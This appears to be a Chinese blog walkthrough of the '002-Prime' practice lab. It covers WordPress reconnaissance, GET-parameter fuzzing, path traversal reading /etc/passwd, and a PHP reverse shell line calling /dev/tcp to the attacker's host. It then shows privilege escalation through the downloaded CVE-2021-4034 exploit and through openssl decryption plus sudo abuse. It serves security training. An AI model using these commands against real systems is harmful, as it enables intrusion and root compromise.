002-Prime_new

002-Prime:信息收集+内核提权/解密

注意:对信息的收集贯穿这个靶场
1.nmap端口扫描

  • 开放22和80端口,22开启的是ssh服务优先级低,访问80端口只见到了一张图片
2.nmap内置漏洞脚本扫描

  • 发现存在wordpress cms系统
  • 扫出的dos攻击对于我们来说没什么用
3.wpscan扫描

  • 扫描发现wordpress版本5.2.2
  • 扫描发现wordpress存在一个账号victor
  • 扫描发现目录http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/(该目录存放主题php文件在后面有大用)
4.dirb目录扫描

  • 可知网站由wordpress搭建

访问相关文件,在dev文件中,发现作者提示

  • 作者提示我们更努力的进行目录扫描
  • dirb默认情况下对文件扫描少,我们可通过+X参数增加对相应后缀名文件的扫描,一般信息会存储在.txt文件中.因为网站是wordpress搭建所以使用php语言,我们增加对.php后缀文件扫描

进一步扫描.txt .php后缀文件,命令: dirb http://192.168.2.133 -X .txt,.php

访问三个文件,在secret.txt发现提示信息

  • 提示要求我们对.php文件的get参数进行模糊测试,并给我们指定了工具
  • 当我们找到相应的参数后要求我们通过其查看location.txt文件内容获得下一步的提示
5.通过wfuzz对get参数进行模糊测试

指令:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.2.133/index.php?FUZZ=pass

-c表示输出的结果带有颜色,-w指定字典, FUZZ表示要进行fuzz测试的参数位置,-hh表示对结果进行筛选,过滤chars为136Ch的(因为太多了,肯定不是正确参数)

  • 找到了正确的参数fiel

访问index.php?file=location.txt

  • 提示我们对另外一个php文件image.php用参数secrettier360进行测试
  • 按照指示我们访问image.php以他提示的参数,发现没什么信息,根据file参数读取文件信息,我们怀疑secrettier360也存在文件读取漏洞,所以我们尝试读取/etc/passwd

尝试读取/etc/passwd

指令:?secrettier360=…/…/…/…/…/etc/passwd

  • 成功读取
  • 发现存在saket,victor两个普通用户,在saket配置信息哪里作者给予我们提示要我们读取/home/saket目录下的password.txt文件

读取password.txt文件

  1. 根据文件名猜测follow_the_ippsec应该是某一个用户的密码
  2. 目前已知用户:
    1. linux用户:root,saket,victor
    2. wordpress用户:victor
  3. 已知连接手段:
    1. 通过22端口开放的ssh服务连接
    2. 登录wordpress登录后台

经过验证密码follow_the_ippsec可以登录worpress后台(url:http://192.168.2.133/wordpress/wp-login.php?loggedout=true)

6.wordpress后台反弹shell

在后台发现theme editors里存在一个可由我们自由编辑的php文件secret.php写下反弹shell的语句保存

反弹shell指令:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.130/7777 0>&1'"); ?>

根据wpscan探测到的目录,secret.php应该存在于http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/目录下,我们设置kail监听7777端口,访问http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/secret.php,即可获得webshell

7.初级shell信息收集
  1. 内核漏洞扫描:

    上传内核漏洞扫描脚本,并运行

    • 由于该靶机是2020年前的靶机,版本较老,内核提权概率很大
  2. 敏感文件寻找:

    a.在/var/www/html/wp-config.php文件内找到数据库wordpress用户密码yourpasswordhere

    b.通过指令:find / -name *backup* 2>dev/null,寻找可能存在的密码备份文件

    • 找到一个back_pass的文件,其中存在作者的提示,作者提示enc文件的密码是backup_password

提权方式1:

8.内核漏洞提权(cve-2021-4034)

漏洞很多我们选择第一个下载到/tmp即可。下载后解压,通过make编译文件运行即可提权指令如下

wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
unzip main
cd CVE-2021-4034-main
make
./cve-2021-4034

9.得到flag

提权方式2:

8.信息泄露

通过指令:find / -name enc 2>dev/null 找到/home/saket/enc,

  • 无法打开enc文件,通过ls -l 我们可知enc可以被普通用户执行
  • 我们尝试./enc执行文件发现不行,通过sudo -l 指令我们查阅到www-data用户被允许无需密码使用sudo指令执行enc文件,所以我们通过sudo .enc执行enc文件输入之前获取的密码得到两个文件
  • enc.txt是一段加密后端字符串
  • key.txt则给予我们提示:把ippsec进行MD5加密,再通过把加密后密文作为密钥解密上面的那串字符串
9.解密

linux openssl介绍:openssl 命令是linux上加解密的重要指令

根据提示信息我们推断enc.txt应该是通过对称性加密算法进行加密

我们可以通过openssl进行解密

  1. 先对ippsec进行MD5加密

    指令:echo ‘ippsec’ | openssl md5

  2. 查看非对称加密算法所需要的参数

    指令:openssl enc -h

    • openssl enc xxx表示我们选择使用对称性加密算法,xxx是具体的算法名称
    • -d表示我们选择解密而不是加密(默认加密)
    • -a表示解密时要先进行base64解码,因为enc.txt明显时base64编码过的
    • -K后面输入我们密钥,因为val要求时hex我们要对ippsec的md5值进行hex编码
  3. 加密算法选择

    查看指令:openssl enc -list

    • 可供选择的算法很多,可以采取一个个试的方法,也可以选择将构造bash脚本用for循环实现遍历
  4. 逐行存储算法的pass文件构造

    新建一个文件pass存储复制的算法列表

    整理指令:awk ‘{gsub(" “,”\n");print}’ pass | sort | uniq

    • gsub(" “,”\n"):替换所有空格为\n
    • awk逐行读取pass中的文本
    • sort对pass逐行排序
    • uniq去除相邻重复行
  5. bash脚本构造

    bash脚本:

    for i in $(cat pass);
    do openssl enc -d -in enc.txt -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $i;
    done
    

    • aes-256-ecb是在正确的加密方式
    • 告诉了我们一个密码:tribute_to_ippsec
10.sudo提权
  1. 尝试使用密码:tribute_to_ippsec登录ssh,发现可以登录saket用户

  2. 登录后使用指令:sudo -l,查看当前用户可用sudo指令

    • 发现当前用户可以使用sudo执行/home/victor/undefeated_victor
  3. 执行sudo

    • 提示我们创建/tmp/challenge
    • 考虑应该是通过root权限执行challenge文件提权
    • 我们应该创建/tmp/challenge并写入/bin/bash进行提权
    • 因为不能使用vim,我们通过echo ‘/bin/bash’ > /tmp/challenge 写入内容
  4. 再次执行sudo

    • 提权成功
11.得到flag

创建/tmp/challenge

  • 考虑应该是通过root权限执行challenge文件提权
  • 我们应该创建/tmp/challenge并写入/bin/bash进行提权
  • 因为不能使用vim,我们通过echo ‘/bin/bash’ > /tmp/challenge 写入内容
  1. 再次执行sudo

  • 提权成功
11.得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值